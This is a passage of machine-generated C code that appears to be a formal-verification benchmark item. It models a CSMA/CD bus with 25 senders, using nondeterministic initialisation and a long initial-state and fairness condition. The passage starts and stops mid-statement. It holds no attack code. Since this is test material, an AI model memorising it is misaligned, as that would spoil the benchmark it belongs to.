_x_s7_evt1; bool s7_evt2, _x_s7_evt2; float s19_backoff, _x_s19_backoff; bool s19_evt0, _x_s19_evt0; bool s19_evt1, _x_s19_evt1; bool s19_evt2, _x_s19_evt2; bool s8_l0, _x_s8_l0; bool s8_l1, _x_s8_l1; float s8_lambda, _x_s8_lambda; float s8_x, _x_s8_x; float s8_backoff, _x_s8_backoff; bool s20_l0, _x_s20_l0; bool s20_l1, _x_s20_l1; bool s8_evt0, _x_s8_evt0; float s20_lambda, _x_s20_lambda; float s20_x, _x_s20_x; bool s8_evt1, _x_s8_evt1; bool s8_evt2, _x_s8_evt2; float s20_backoff, _x_s20_backoff; bool s20_evt0, _x_s20_evt0; bool s20_evt1, _x_s20_evt1; bool s20_evt2, _x_s20_evt2; bool s9_l0, _x_s9_l0; bool s9_l1, _x_s9_l1; float s9_lambda, _x_s9_lambda; float s9_x, _x_s9_x; float s9_backoff, _x_s9_backoff; bool s21_l0, _x_s21_l0; bool s21_l1, _x_s21_l1; bool s9_evt0, _x_s9_evt0; float s21_lambda, _x_s21_lambda; float s21_x, _x_s21_x; bool s9_evt1, _x_s9_evt1; bool s9_evt2, _x_s9_evt2; float s21_backoff, _x_s21_backoff; bool s21_evt0, _x_s21_evt0; bool s21_evt1, _x_s21_evt1; bool s21_evt2, _x_s21_evt2; bool s10_l0, _x_s10_l0; bool s10_l1, _x_s10_l1; float s10_lambda, _x_s10_lambda; float s10_x, _x_s10_x; float s10_backoff, _x_s10_backoff; int __steps_to_fair = __VERIFIER_nondet_int(); s22_l0 = __VERIFIER_nondet_bool(); _diverge_delta = __VERIFIER_nondet_float(); s22_l1 = __VERIFIER_nondet_bool(); s10_evt0 = __VERIFIER_nondet_bool(); delta = __VERIFIER_nondet_float(); s22_lambda = __VERIFIER_nondet_float(); s22_x = __VERIFIER_nondet_float(); s10_evt1 = __VERIFIER_nondet_bool(); s10_evt2 = __VERIFIER_nondet_bool(); bus_l1 = __VERIFIER_nondet_bool(); bus_l0 = __VERIFIER_nondet_bool(); s22_backoff = __VERIFIER_nondet_float(); bus_x = __VERIFIER_nondet_float(); s22_evt0 = __VERIFIER_nondet_bool(); s22_evt1 = __VERIFIER_nondet_bool(); s22_evt2 = __VERIFIER_nondet_bool(); bus_j = __VERIFIER_nondet_int(); s11_l0 = __VERIFIER_nondet_bool(); s11_l1 = __VERIFIER_nondet_bool(); s11_lambda = __VERIFIER_nondet_float(); s11_x = __VERIFIER_nondet_float(); bus_evt1 = __VERIFIER_nondet_bool(); bus_evt0 = __VERIFIER_nondet_bool(); bus_evt2 = __VERIFIER_nondet_bool(); s11_backoff = __VERIFIER_nondet_float(); s23_l0 = __VERIFIER_nondet_bool(); s23_l1 = __VERIFIER_nondet_bool(); s11_evt0 = __VERIFIER_nondet_bool(); s23_lambda = __VERIFIER_nondet_float(); s23_x = __VERIFIER_nondet_float(); s11_evt1 = __VERIFIER_nondet_bool(); s11_evt2 = __VERIFIER_nondet_bool(); s23_backoff = __VERIFIER_nondet_float(); s0_l0 = __VERIFIER_nondet_bool(); s0_l1 = __VERIFIER_nondet_bool(); s0_lambda = __VERIFIER_nondet_float(); s0_x = __VERIFIER_nondet_float(); s23_evt0 = __VERIFIER_nondet_bool(); s23_evt1 = __VERIFIER_nondet_bool(); s23_evt2 = __VERIFIER_nondet_bool(); s0_backoff = __VERIFIER_nondet_float(); s12_l0 = __VERIFIER_nondet_bool(); s12_l1 = __VERIFIER_nondet_bool(); s0_evt0 = __VERIFIER_nondet_bool(); s12_lambda = __VERIFIER_nondet_float(); s12_x = __VERIFIER_nondet_float(); s0_evt1 = __VERIFIER_nondet_bool(); s0_evt2 = __VERIFIER_nondet_bool(); s12_backoff = __VERIFIER_nondet_float(); s24_l0 = __VERIFIER_nondet_bool(); s24_l1 = __VERIFIER_nondet_bool(); s12_evt0 = __VERIFIER_nondet_bool(); s24_lambda = __VERIFIER_nondet_float(); s24_x = __VERIFIER_nondet_float(); s12_evt1 = __VERIFIER_nondet_bool(); s12_evt2 = __VERIFIER_nondet_bool(); s24_backoff = __VERIFIER_nondet_float(); s1_l0 = __VERIFIER_nondet_bool(); s1_l1 = __VERIFIER_nondet_bool(); s1_lambda = __VERIFIER_nondet_float(); s1_x = __VERIFIER_nondet_float(); s24_evt0 = __VERIFIER_nondet_bool(); s24_evt1 = __VERIFIER_nondet_bool(); s24_evt2 = __VERIFIER_nondet_bool(); s1_backoff = __VERIFIER_nondet_float(); s13_l0 = __VERIFIER_nondet_bool(); s13_l1 = __VERIFIER_nondet_bool(); s1_evt0 = __VERIFIER_nondet_bool(); s1_evt1 = __VERIFIER_nondet_bool(); s13_lambda = __VERIFIER_nondet_float(); s13_x = __VERIFIER_nondet_float(); s1_evt2 = __VERIFIER_nondet_bool(); s13_backoff = __VERIFIER_nondet_float(); _J5349 = __VERIFIER_nondet_bool(); s13_evt0 = __VERIFIER_nondet_bool(); _J5343 = __VERIFIER_nondet_bool(); s13_evt1 = __VERIFIER_nondet_bool(); _J5336 = __VERIFIER_nondet_bool(); s13_evt2 = __VERIFIER_nondet_bool(); _J5330 = __VERIFIER_nondet_bool(); _J5325 = __VERIFIER_nondet_bool(); _J5319 = __VERIFIER_nondet_bool(); s2_l0 = __VERIFIER_nondet_bool(); _EL_U_5282 = __VERIFIER_nondet_bool(); s2_l1 = __VERIFIER_nondet_bool(); s2_lambda = __VERIFIER_nondet_float(); s2_x = __VERIFIER_nondet_float(); _EL_U_5284 = __VERIFIER_nondet_bool(); _EL_U_5286 = __VERIFIER_nondet_bool(); s2_backoff = __VERIFIER_nondet_float(); _EL_U_5288 = __VERIFIER_nondet_bool(); _EL_U_5290 = __VERIFIER_nondet_bool(); s14_l0 = __VERIFIER_nondet_bool(); _EL_U_5292 = __VERIFIER_nondet_bool(); s14_l1 = __VERIFIER_nondet_bool(); s2_evt0 = __VERIFIER_nondet_bool(); s14_lambda = __VERIFIER_nondet_float(); s14_x = __VERIFIER_nondet_float(); s2_evt1 = __VERIFIER_nondet_bool(); s2_evt2 = __VERIFIER_nondet_bool(); s14_backoff = __VERIFIER_nondet_float(); s14_evt0 = __VERIFIER_nondet_bool(); s14_evt1 = __VERIFIER_nondet_bool(); s14_evt2 = __VERIFIER_nondet_bool(); bus_cd_id = __VERIFIER_nondet_int(); s3_l0 = __VERIFIER_nondet_bool(); s3_l1 = __VERIFIER_nondet_bool(); s3_lambda = __VERIFIER_nondet_float(); s3_x = __VERIFIER_nondet_float(); s3_backoff = __VERIFIER_nondet_float(); s15_l0 = __VERIFIER_nondet_bool(); s15_l1 = __VERIFIER_nondet_bool(); s3_evt0 = __VERIFIER_nondet_bool(); s15_lambda = __VERIFIER_nondet_float(); s15_x = __VERIFIER_nondet_float(); s3_evt1 = __VERIFIER_nondet_bool(); s3_evt2 = __VERIFIER_nondet_bool(); s15_backoff = __VERIFIER_nondet_float(); s15_evt0 = __VERIFIER_nondet_bool(); s15_evt1 = __VERIFIER_nondet_bool(); s15_evt2 = __VERIFIER_nondet_bool(); s4_l0 = __VERIFIER_nondet_bool(); s4_l1 = __VERIFIER_nondet_bool(); s4_lambda = __VERIFIER_nondet_float(); s4_x = __VERIFIER_nondet_float(); s4_backoff = __VERIFIER_nondet_float(); s16_l0 = __VERIFIER_nondet_bool(); s16_l1 = __VERIFIER_nondet_bool(); s4_evt0 = __VERIFIER_nondet_bool(); s16_lambda = __VERIFIER_nondet_float(); s16_x = __VERIFIER_nondet_float(); s4_evt1 = __VERIFIER_nondet_bool(); s4_evt2 = __VERIFIER_nondet_bool(); s16_backoff = __VERIFIER_nondet_float(); s16_evt0 = __VERIFIER_nondet_bool(); s16_evt1 = __VERIFIER_nondet_bool(); s16_evt2 = __VERIFIER_nondet_bool(); s5_l0 = __VERIFIER_nondet_bool(); s5_l1 = __VERIFIER_nondet_bool(); s5_lambda = __VERIFIER_nondet_float(); s5_x = __VERIFIER_nondet_float(); s5_backoff = __VERIFIER_nondet_float(); s17_l0 = __VERIFIER_nondet_bool(); s17_l1 = __VERIFIER_nondet_bool(); s5_evt0 = __VERIFIER_nondet_bool(); s17_lambda = __VERIFIER_nondet_float(); s17_x = __VERIFIER_nondet_float(); s5_evt1 = __VERIFIER_nondet_bool(); s5_evt2 = __VERIFIER_nondet_bool(); s17_backoff = __VERIFIER_nondet_float(); s17_evt0 = __VERIFIER_nondet_bool(); s17_evt1 = __VERIFIER_nondet_bool(); s17_evt2 = __VERIFIER_nondet_bool(); s6_l0 = __VERIFIER_nondet_bool(); s6_l1 = __VERIFIER_nondet_bool(); s6_lambda = __VERIFIER_nondet_float(); s6_x = __VERIFIER_nondet_float(); s6_backoff = __VERIFIER_nondet_float(); s18_l0 = __VERIFIER_nondet_bool(); s18_l1 = __VERIFIER_nondet_bool(); s6_evt0 = __VERIFIER_nondet_bool(); s18_lambda = __VERIFIER_nondet_float(); s18_x = __VERIFIER_nondet_float(); s6_evt1 = __VERIFIER_nondet_bool(); s6_evt2 = __VERIFIER_nondet_bool(); s18_backoff = __VERIFIER_nondet_float(); s18_evt0 = __VERIFIER_nondet_bool(); s18_evt1 = __VERIFIER_nondet_bool(); s18_evt2 = __VERIFIER_nondet_bool(); s7_l0 = __VERIFIER_nondet_bool(); s7_l1 = __VERIFIER_nondet_bool(); s7_lambda = __VERIFIER_nondet_float(); s7_x = __VERIFIER_nondet_float(); s7_backoff = __VERIFIER_nondet_float(); s19_l0 = __VERIFIER_nondet_bool(); s19_l1 = __VERIFIER_nondet_bool(); s7_evt0 = __VERIFIER_nondet_bool(); s19_lambda = __VERIFIER_nondet_float(); s19_x = __VERIFIER_nondet_float(); s7_evt1 = __VERIFIER_nondet_bool(); s7_evt2 = __VERIFIER_nondet_bool(); s19_backoff = __VERIFIER_nondet_float(); s19_evt0 = __VERIFIER_nondet_bool(); s19_evt1 = __VERIFIER_nondet_bool(); s19_evt2 = __VERIFIER_nondet_bool(); s8_l0 = __VERIFIER_nondet_bool(); s8_l1 = __VERIFIER_nondet_bool(); s8_lambda = __VERIFIER_nondet_float(); s8_x = __VERIFIER_nondet_float(); s8_backoff = __VERIFIER_nondet_float(); s20_l0 = __VERIFIER_nondet_bool(); s20_l1 = __VERIFIER_nondet_bool(); s8_evt0 = __VERIFIER_nondet_bool(); s20_lambda = __VERIFIER_nondet_float(); s20_x = __VERIFIER_nondet_float(); s8_evt1 = __VERIFIER_nondet_bool(); s8_evt2 = __VERIFIER_nondet_bool(); s20_backoff = __VERIFIER_nondet_float(); s20_evt0 = __VERIFIER_nondet_bool(); s20_evt1 = __VERIFIER_nondet_bool(); s20_evt2 = __VERIFIER_nondet_bool(); s9_l0 = __VERIFIER_nondet_bool(); s9_l1 = __VERIFIER_nondet_bool(); s9_lambda = __VERIFIER_nondet_float(); s9_x = __VERIFIER_nondet_float(); s9_backoff = __VERIFIER_nondet_float(); s21_l0 = __VERIFIER_nondet_bool(); s21_l1 = __VERIFIER_nondet_bool(); s9_evt0 = __VERIFIER_nondet_bool(); s21_lambda = __VERIFIER_nondet_float(); s21_x = __VERIFIER_nondet_float(); s9_evt1 = __VERIFIER_nondet_bool(); s9_evt2 = __VERIFIER_nondet_bool(); s21_backoff = __VERIFIER_nondet_float(); s21_evt0 = __VERIFIER_nondet_bool(); s21_evt1 = __VERIFIER_nondet_bool(); s21_evt2 = __VERIFIER_nondet_bool(); s10_l0 = __VERIFIER_nondet_bool(); s10_l1 = __VERIFIER_nondet_bool(); s10_lambda = __VERIFIER_nondet_float(); s10_x = __VERIFIER_nondet_float(); s10_backoff = __VERIFIER_nondet_float(); bool __ok = (((((((((( !s24_l0) && ( !s24_l1)) && (s24_x == 0.0)) && ((( !s24_evt2) && (s24_evt0 && ( !s24_evt1))) || (((( !s24_evt2) && (( !s24_evt0) && ( !s24_evt1))) || (s24_evt2 && (( !s24_evt0) && ( !s24_evt1)))) || ((( !s24_evt2) && (s24_evt1 && ( !s24_evt0))) || (s24_evt2 && (s24_evt1 && ( !s24_evt0))))))) && ((( !s24_l0) && ( !s24_l1)) || ((s24_l1 && ( !s24_l0)) || (s24_l0 && ( !s24_l1))))) && (13.0 <= s24_backoff)) && (( !(s24_lambda <= 0.0)) && ((s24_x <= s24_lambda) || ( !(s24_l1 && ( !s24_l0)))))) && (((((((( !s23_l0) && ( !s23_l1)) && (s23_x == 0.0)) && ((( !s23_evt2) && (s23_evt0 && ( !s23_evt1))) || (((( !s23_evt2) && (( !s23_evt0) && ( !s23_evt1))) || (s23_evt2 && (( !s23_evt0) && ( !s23_evt1)))) || ((( !s23_evt2) && (s23_evt1 && ( !s23_evt0))) || (s23_evt2 && (s23_evt1 && ( !s23_evt0))))))) && ((( !s23_l0) && ( !s23_l1)) || ((s23_l1 && ( !s23_l0)) || (s23_l0 && ( !s23_l1))))) && (13.0 <= s23_backoff)) && (( !(s23_lambda <= 0.0)) && ((s23_x <= s23_lambda) || ( !(s23_l1 && ( !s23_l0)))))) && (((((((( !s22_l0) && ( !s22_l1)) && (s22_x == 0.0)) && ((( !s22_evt2) && (s22_evt0 && ( !s22_evt1))) || (((( !s22_evt2) && (( !s22_evt0) && ( !s22_evt1))) || (s22_evt2 && (( !s22_evt0) && ( !s22_evt1)))) || ((( !s22_evt2) && (s22_evt1 && ( !s22_evt0))) || (s22_evt2 && (s22_evt1 && ( !s22_evt0))))))) && ((( !s22_l0) && ( !s22_l1)) || ((s22_l1 && ( !s22_l0)) || (s22_l0 && ( !s22_l1))))) && (13.0 <= s22_backoff)) && (( !(s22_lambda <= 0.0)) && ((s22_x <= s22_lambda) || ( !(s22_l1 && ( !s22_l0)))))) && (((((((( !s21_l0) && ( !s21_l1)) && (s21_x == 0.0)) && ((( !s21_evt2) && (s21_evt0 && ( !s21_evt1))) || (((( !s21_evt2) && (( !s21_evt0) && ( !s21_evt1))) || (s21_evt2 && (( !s21_evt0) && ( !s21_evt1)))) || ((( !s21_evt2) && (s21_evt1 && ( !s21_evt0))) || (s21_evt2 && (s21_evt1 && ( !s21_evt0))))))) && ((( !s21_l0) && ( !s21_l1)) || ((s21_l1 && ( !s21_l0)) || (s21_l0 && ( !s21_l1))))) && (13.0 <= s21_backoff)) && (( !(s21_lambda <= 0.0)) && ((s21_x <= s21_lambda) || ( !(s21_l1 && ( !s21_l0)))))) && (((((((( !s20_l0) && ( !s20_l1)) && (s20_x == 0.0)) && ((( !s20_evt2) && (s20_evt0 && ( !s20_evt1))) || (((( !s20_evt2) && (( !s20_evt0) && ( !s20_evt1))) || (s20_evt2 && (( !s20_evt0) && ( !s20_evt1)))) || ((( !s20_evt2) && (s20_evt1 && ( !s20_evt0))) || (s20_evt2 && (s20_evt1 && ( !s20_evt0))))))) && ((( !s20_l0) && ( !s20_l1)) || ((s20_l1 && ( !s20_l0)) || (s20_l0 && ( !s20_l1))))) && (13.0 <= s20_backoff)) && (( !(s20_lambda <= 0.0)) && ((s20_x <= s20_lambda) || ( !(s20_l1 && ( !s20_l0)))))) && (((((((( !s19_l0) && ( !s19_l1)) && (s19_x == 0.0)) && ((( !s19_evt2) && (s19_evt0 && ( !s19_evt1))) || (((( !s19_evt2) && (( !s19_evt0) && ( !s19_evt1))) || (s19_evt2 && (( !s19_evt0) && ( !s19_evt1)))) || ((( !s19_evt2) && (s19_evt1 && ( !s19_evt0))) || (s19_evt2 && (s19_evt1 && ( !s19_evt0))))))) && ((( !s19_l0) && ( !s19_l1)) || ((s19_l1 && ( !s19_l0)) || (s19_l0 && ( !s19_l1))))) && (13.0 <= s19_backoff)) && (( !(s19_lambda <= 0.0)) && ((s19_x <= s19_lambda) || ( !(s19_l1 && ( !s19_l0)))))) && (((((((( !s18_l0) && ( !s18_l1)) && (s18_x == 0.0)) && ((( !s18_evt2) && (s18_evt0 && ( !s18_evt1))) || (((( !s18_evt2) && (( !s18_evt0) && ( !s18_evt1))) || (s18_evt2 && (( !s18_evt0) && ( !s18_evt1)))) || ((( !s18_evt2) && (s18_evt1 && ( !s18_evt0))) || (s18_evt2 && (s18_evt1 && ( !s18_evt0))))))) && ((( !s18_l0) && ( !s18_l1)) || ((s18_l1 && ( !s18_l0)) || (s18_l0 && ( !s18_l1))))) && (13.0 <= s18_backoff)) && (( !(s18_lambda <= 0.0)) && ((s18_x <= s18_lambda) || ( !(s18_l1 && ( !s18_l0)))))) && (((((((( !s17_l0) && ( !s17_l1)) && (s17_x == 0.0)) && ((( !s17_evt2) && (s17_evt0 && ( !s17_evt1))) || (((( !s17_evt2) && (( !s17_evt0) && ( !s17_evt1))) || (s17_evt2 && (( !s17_evt0) && ( !s17_evt1)))) || ((( !s17_evt2) && (s17_evt1 && ( !s17_evt0))) || (s17_evt2 && (s17_evt1 && ( !s17_evt0))))))) && ((( !s17_l0) && ( !s17_l1)) || ((s17_l1 && ( !s17_l0)) || (s17_l0 && ( !s17_l1))))) && (13.0 <= s17_backoff)) && (( !(s17_lambda <= 0.0)) && ((s17_x <= s17_lambda) || ( !(s17_l1 && ( !s17_l0)))))) && (((((((( !s16_l0) && ( !s16_l1)) && (s16_x == 0.0)) && ((( !s16_evt2) && (s16_evt0 && ( !s16_evt1))) || (((( !s16_evt2) && (( !s16_evt0) && ( !s16_evt1))) || (s16_evt2 && (( !s16_evt0) && ( !s16_evt1)))) || ((( !s16_evt2) && (s16_evt1 && ( !s16_evt0))) || (s16_evt2 && (s16_evt1 && ( !s16_evt0))))))) && ((( !s16_l0) && ( !s16_l1)) || ((s16_l1 && ( !s16_l0)) || (s16_l0 && ( !s16_l1))))) && (13.0 <= s16_backoff)) && (( !(s16_lambda <= 0.0)) && ((s16_x <= s16_lambda) || ( !(s16_l1 && ( !s16_l0)))))) && (((((((( !s15_l0) && ( !s15_l1)) && (s15_x == 0.0)) && ((( !s15_evt2) && (s15_evt0 && ( !s15_evt1))) || (((( !s15_evt2) && (( !s15_evt0) && ( !s15_evt1))) || (s15_evt2 && (( !s15_evt0) && ( !s15_evt1)))) || ((( !s15_evt2) && (s15_evt1 && ( !s15_evt0))) || (s15_evt2 && (s15_evt1 && ( !s15_evt0))))))) && ((( !s15_l0) && ( !s15_l1)) || ((s15_l1 && ( !s15_l0)) || (s15_l0 && ( !s15_l1))))) && (13.0 <= s15_backoff)) && (( !(s15_lambda <= 0.0)) && ((s15_x <= s15_lambda) || ( !(s15_l1 && ( !s15_l0)))))) && (((((((( !s14_l0) && ( !s14_l1)) && (s14_x == 0.0)) && ((( !s14_evt2) && (s14_evt0 && ( !s14_evt1))) || (((( !s14_evt2) && (( !s14_evt0) && ( !s14_evt1))) || (s14_evt2 && (( !s14_evt0) && ( !s14_evt1)))) || ((( !s14_evt2) && (s14_evt1 && ( !s14_evt0))) || (s14_evt2 && (s14_evt1 && ( !s14_evt0))))))) && ((( !s14_l0) && ( !s14_l1)) || ((s14_l1 && ( !s14_l0)) || (s14_l0 && ( !s14_l1))))) && (13.0 <= s14_backoff)) && (( !(s14_lambda <= 0.0)) && ((s14_x <= s14_lambda) || ( !(s14_l1 && ( !s14_l0)))))) && (((((((( !s13_l0) && ( !s13_l1)) && (s13_x == 0.0)) && ((( !s13_evt2) && (s13_evt0 && ( !s13_evt1))) || (((( !s13_evt2) && (( !s13_evt0) && ( !s13_evt1))) || (s13_evt2 && (( !s13_evt0) && ( !s13_evt1)))) || ((( !s13_evt2) && (s13_evt1 && ( !s13_evt0))) || (s13_evt2 && (s13_evt1 && ( !s13_evt0))))))) && ((( !s13_l0) && ( !s13_l1)) || ((s13_l1 && ( !s13_l0)) || (s13_l0 && ( !s13_l1))))) && (13.0 <= s13_backoff)) && (( !(s13_lambda <= 0.0)) && ((s13_x <= s13_lambda) || ( !(s13_l1 && ( !s13_l0)))))) && (((((((( !s12_l0) && ( !s12_l1)) && (s12_x == 0.0)) && ((( !s12_evt2) && (s12_evt0 && ( !s12_evt1))) || (((( !s12_evt2) && (( !s12_evt0) && ( !s12_evt1))) || (s12_evt2 && (( !s12_evt0) && ( !s12_evt1)))) || ((( !s12_evt2) && (s12_evt1 && ( !s12_evt0))) || (s12_evt2 && (s12_evt1 && ( !s12_evt0))))))) && ((( !s12_l0) && ( !s12_l1)) || ((s12_l1 && ( !s12_l0)) || (s12_l0 && ( !s12_l1))))) && (13.0 <= s12_backoff)) && (( !(s12_lambda <= 0.0)) && ((s12_x <= s12_lambda) || ( !(s12_l1 && ( !s12_l0)))))) && (((((((( !s11_l0) && ( !s11_l1)) && (s11_x == 0.0)) && ((( !s11_evt2) && (s11_evt0 && ( !s11_evt1))) || (((( !s11_evt2) && (( !s11_evt0) && ( !s11_evt1))) || (s11_evt2 && (( !s11_evt0) && ( !s11_evt1)))) || ((( !s11_evt2) && (s11_evt1 && ( !s11_evt0))) || (s11_evt2 && (s11_evt1 && ( !s11_evt0))))))) && ((( !s11_l0) && ( !s11_l1)) || ((s11_l1 && ( !s11_l0)) || (s11_l0 && ( !s11_l1))))) && (13.0 <= s11_backoff)) && (( !(s11_lambda <= 0.0)) && ((s11_x <= s11_lambda) || ( !(s11_l1 && ( !s11_l0)))))) && (((((((( !s10_l0) && ( !s10_l1)) && (s10_x == 0.0)) && ((( !s10_evt2) && (s10_evt0 && ( !s10_evt1))) || (((( !s10_evt2) && (( !s10_evt0) && ( !s10_evt1))) || (s10_evt2 && (( !s10_evt0) && ( !s10_evt1)))) || ((( !s10_evt2) && (s10_evt1 && ( !s10_evt0))) || (s10_evt2 && (s10_evt1 && ( !s10_evt0))))))) && ((( !s10_l0) && ( !s10_l1)) || ((s10_l1 && ( !s10_l0)) || (s10_l0 && ( !s10_l1))))) && (13.0 <= s10_backoff)) && (( !(s10_lambda <= 0.0)) && ((s10_x <= s10_lambda) || ( !(s10_l1 && ( !s10_l0)))))) && (((((((( !s9_l0) && ( !s9_l1)) && (s9_x == 0.0)) && ((( !s9_evt2) && (s9_evt0 && ( !s9_evt1))) || (((( !s9_evt2) && (( !s9_evt0) && ( !s9_evt1))) || (s9_evt2 && (( !s9_evt0) && ( !s9_evt1)))) || ((( !s9_evt2) && (s9_evt1 && ( !s9_evt0))) || (s9_evt2 && (s9_evt1 && ( !s9_evt0))))))) && ((( !s9_l0) && ( !s9_l1)) || ((s9_l1 && ( !s9_l0)) || (s9_l0 && ( !s9_l1))))) && (13.0 <= s9_backoff)) && (( !(s9_lambda <= 0.0)) && ((s9_x <= s9_lambda) || ( !(s9_l1 && ( !s9_l0)))))) && (((((((( !s8_l0) && ( !s8_l1)) && (s8_x == 0.0)) && ((( !s8_evt2) && (s8_evt0 && ( !s8_evt1))) || (((( !s8_evt2) && (( !s8_evt0) && ( !s8_evt1))) || (s8_evt2 && (( !s8_evt0) && ( !s8_evt1)))) || ((( !s8_evt2) && (s8_evt1 && ( !s8_evt0))) || (s8_evt2 && (s8_evt1 && ( !s8_evt0))))))) && ((( !s8_l0) && ( !s8_l1)) || ((s8_l1 && ( !s8_l0)) || (s8_l0 && ( !s8_l1))))) && (13.0 <= s8_backoff)) && (( !(s8_lambda <= 0.0)) && ((s8_x <= s8_lambda) || ( !(s8_l1 && ( !s8_l0)))))) && (((((((( !s7_l0) && ( !s7_l1)) && (s7_x == 0.0)) && ((( !s7_evt2) && (s7_evt0 && ( !s7_evt1))) || (((( !s7_evt2) && (( !s7_evt0) && ( !s7_evt1))) || (s7_evt2 && (( !s7_evt0) && ( !s7_evt1)))) || ((( !s7_evt2) && (s7_evt1 && ( !s7_evt0))) || (s7_evt2 && (s7_evt1 && ( !s7_evt0))))))) && ((( !s7_l0) && ( !s7_l1)) || ((s7_l1 && ( !s7_l0)) || (s7_l0 && ( !s7_l1))))) && (13.0 <= s7_backoff)) && (( !(s7_lambda <= 0.0)) && ((s7_x <= s7_lambda) || ( !(s7_l1 && ( !s7_l0)))))) && (((((((( !s6_l0) && ( !s6_l1)) && (s6_x == 0.0)) && ((( !s6_evt2) && (s6_evt0 && ( !s6_evt1))) || (((( !s6_evt2) && (( !s6_evt0) && ( !s6_evt1))) || (s6_evt2 && (( !s6_evt0) && ( !s6_evt1)))) || ((( !s6_evt2) && (s6_evt1 && ( !s6_evt0))) || (s6_evt2 && (s6_evt1 && ( !s6_evt0))))))) && ((( !s6_l0) && ( !s6_l1)) || ((s6_l1 && ( !s6_l0)) || (s6_l0 && ( !s6_l1))))) && (13.0 <= s6_backoff)) && (( !(s6_lambda <= 0.0)) && ((s6_x <= s6_lambda) || ( !(s6_l1 && ( !s6_l0)))))) && (((((((( !s5_l0) && ( !s5_l1)) && (s5_x == 0.0)) && ((( !s5_evt2) && (s5_evt0 && ( !s5_evt1))) || (((( !s5_evt2) && (( !s5_evt0) && ( !s5_evt1))) || (s5_evt2 && (( !s5_evt0) && ( !s5_evt1)))) || ((( !s5_evt2) && (s5_evt1 && ( !s5_evt0))) || (s5_evt2 && (s5_evt1 && ( !s5_evt0))))))) && ((( !s5_l0) && ( !s5_l1)) || ((s5_l1 && ( !s5_l0)) || (s5_l0 && ( !s5_l1))))) && (13.0 <= s5_backoff)) && (( !(s5_lambda <= 0.0)) && ((s5_x <= s5_lambda) || ( !(s5_l1 && ( !s5_l0)))))) && (((((((( !s4_l0) && ( !s4_l1)) && (s4_x == 0.0)) && ((( !s4_evt2) && (s4_evt0 && ( !s4_evt1))) || (((( !s4_evt2) && (( !s4_evt0) && ( !s4_evt1))) || (s4_evt2 && (( !s4_evt0) && ( !s4_evt1)))) || ((( !s4_evt2) && (s4_evt1 && ( !s4_evt0))) || (s4_evt2 && (s4_evt1 && ( !s4_evt0))))))) && ((( !s4_l0) && ( !s4_l1)) || ((s4_l1 && ( !s4_l0)) || (s4_l0 && ( !s4_l1))))) && (13.0 <= s4_backoff)) && (( !(s4_lambda <= 0.0)) && ((s4_x <= s4_lambda) || ( !(s4_l1 && ( !s4_l0)))))) && (((((((( !s3_l0) && ( !s3_l1)) && (s3_x == 0.0)) && ((( !s3_evt2) && (s3_evt0 && ( !s3_evt1))) || (((( !s3_evt2) && (( !s3_evt0) && ( !s3_evt1))) || (s3_evt2 && (( !s3_evt0) && ( !s3_evt1)))) || ((( !s3_evt2) && (s3_evt1 && ( !s3_evt0))) || (s3_evt2 && (s3_evt1 && ( !s3_evt0))))))) && ((( !s3_l0) && ( !s3_l1)) || ((s3_l1 && ( !s3_l0)) || (s3_l0 && ( !s3_l1))))) && (13.0 <= s3_backoff)) && (( !(s3_lambda <= 0.0)) && ((s3_x <= s3_lambda) || ( !(s3_l1 && ( !s3_l0)))))) && (((((((( !s2_l0) && ( !s2_l1)) && (s2_x == 0.0)) && ((( !s2_evt2) && (s2_evt0 && ( !s2_evt1))) || (((( !s2_evt2) && (( !s2_evt0) && ( !s2_evt1))) || (s2_evt2 && (( !s2_evt0) && ( !s2_evt1)))) || ((( !s2_evt2) && (s2_evt1 && ( !s2_evt0))) || (s2_evt2 && (s2_evt1 && ( !s2_evt0))))))) && ((( !s2_l0) && ( !s2_l1)) || ((s2_l1 && ( !s2_l0)) || (s2_l0 && ( !s2_l1))))) && (13.0 <= s2_backoff)) && (( !(s2_lambda <= 0.0)) && ((s2_x <= s2_lambda) || ( !(s2_l1 && ( !s2_l0)))))) && (((((((( !s1_l0) && ( !s1_l1)) && (s1_x == 0.0)) && ((( !s1_evt2) && (s1_evt0 && ( !s1_evt1))) || (((( !s1_evt2) && (( !s1_evt0) && ( !s1_evt1))) || (s1_evt2 && (( !s1_evt0) && ( !s1_evt1)))) || ((( !s1_evt2) && (s1_evt1 && ( !s1_evt0))) || (s1_evt2 && (s1_evt1 && ( !s1_evt0))))))) && ((( !s1_l0) && ( !s1_l1)) || ((s1_l1 && ( !s1_l0)) || (s1_l0 && ( !s1_l1))))) && (13.0 <= s1_backoff)) && (( !(s1_lambda <= 0.0)) && ((s1_x <= s1_lambda) || ( !(s1_l1 && ( !s1_l0)))))) && (((((((( !s0_l0) && ( !s0_l1)) && (s0_x == 0.0)) && ((( !s0_evt2) && (s0_evt0 && ( !s0_evt1))) || (((( !s0_evt2) && (( !s0_evt0) && ( !s0_evt1))) || (s0_evt2 && (( !s0_evt0) && ( !s0_evt1)))) || ((( !s0_evt2) && (s0_evt1 && ( !s0_evt0))) || (s0_evt2 && (s0_evt1 && ( !s0_evt0))))))) && ((( !s0_l0) && ( !s0_l1)) || ((s0_l1 && ( !s0_l0)) || (s0_l0 && ( !s0_l1))))) && (13.0 <= s0_backoff)) && (( !(s0_lambda <= 0.0)) && ((s0_x <= s0_lambda) || ( !(s0_l1 && ( !s0_l0)))))) && (((((( !bus_l0) && ( !bus_l1)) && (((( !bus_evt2) && (( !bus_evt0) && ( !bus_evt1))) || (((bus_evt2 && (( !bus_evt0) && ( !bus_evt1))) || (( !bus_evt2) && (bus_evt1 && ( !bus_evt0)))) || ((bus_evt2 && (bus_evt1 && ( !bus_evt0))) || (( !bus_evt2) && (bus_evt0 && ( !bus_evt1)))))) && (((( !bus_l0) && ( !bus_l1)) || (bus_l1 && ( !bus_l0))) || ((bus_l0 && ( !bus_l1)) || (bus_l0 && bus_l1))))) && ((bus_j == 0) && (bus_x == 0.0))) && ((( !(13.0 <= bus_x)) || ( !(bus_l0 && ( !bus_l1)))) && ((delta == 0.0) || ( !(bus_l0 && bus_l1))))) && (0.0 <= delta))))))))))))))))))))))))))) && (delta == _diverge_delta)) && ((((((( !((( !(_EL_U_5292 || ( !((( !s0_l0) && ( !s0_l1)) || _EL_U_5290)))) || (_EL_U_5288 || ( !((s0_l1 && ( !s0_l0)) || _EL_U_5286)))) || (_EL_U_5284 || ( !((1.0 <= _diverge_delta) || _EL_U_5282))))) && ( !_J5319)) && ( !_J5325)) && ( !_J5330)) && ( !_J5336)) && ( !_J5343)) && ( !_J5349))); while (__steps_to_fair >= 0 && __ok) { if ((((((_J5319 && _J5325) && _J5330) && _J5336) && 